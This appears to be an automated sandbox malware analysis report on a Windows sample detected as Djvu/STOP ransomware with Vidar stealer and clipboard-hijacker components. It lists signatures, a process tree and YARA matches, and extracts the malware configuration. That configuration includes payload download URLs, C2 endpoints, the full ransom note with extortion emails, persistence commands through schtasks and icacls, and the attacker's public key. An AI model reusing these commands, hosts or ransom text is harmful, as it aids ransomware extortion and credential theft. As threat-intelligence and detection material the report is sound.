Edit tour

Windows Analysis Report
Z4CYGTBlj7.exe

Overview

General Information

Sample name:	Z4CYGTBlj7.exe renamed because original name is a hash value
Original sample name:	f4c37292b365c19e6d2feeb6a17c4049.exe
Analysis ID:	1430943
MD5:	f4c37292b365c19e6d2feeb6a17c4049
SHA1:	a7c201719a6c4e58f57baa2a88b110d72f3daefe
SHA256:	444cf71032e7c7be2a79255af4fb38bab0333fb0a060ecc3fe91473d26ebce83
Tags:	exeStop
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Z4CYGTBlj7.exe (PID: 5144 cmdline: "C:\Users\user\Desktop\Z4CYGTBlj7.exe" MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\Z4CYGTBlj7.exe" MD5: F4C37292B365C19E6D2FEEB6A17C4049)

icacls.exe (PID: 1876 cmdline: icacls "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

Z4CYGTBlj7.exe (PID: 7136 cmdline: "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask MD5: F4C37292B365C19E6D2FEEB6A17C4049)

build2.exe (PID: 3160 cmdline: "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 6656 cmdline: "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 5280 cmdline: "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 4092 cmdline: "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 5148 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Z4CYGTBlj7.exe (PID: 2724 cmdline: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 4408 cmdline: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 320 cmdline: "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 5680 cmdline: "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart MD5: F4C37292B365C19E6D2FEEB6A17C4049)

mstsca.exe (PID: 7088 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4072 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 828 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Z4CYGTBlj7.exe (PID: 3160 cmdline: "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart MD5: F4C37292B365C19E6D2FEEB6A17C4049)

Z4CYGTBlj7.exe (PID: 6136 cmdline: "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart MD5: F4C37292B365C19E6D2FEEB6A17C4049)

mstsca.exe (PID: 6472 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5240 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 1684 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6504 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 2124 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5588 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6552 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000B.00000002.2246383419.0000000000A3C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x790c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x31017:$x5: vchost.exe
00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000019.00000002.2747322781.00000000009A0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6fb4:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001B.00000002.3371787102.0000000000820000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x75c4:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001D.00000002.3960074631.0000000000820000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x70cc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000C.00000002.2176760234.0000000004452000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
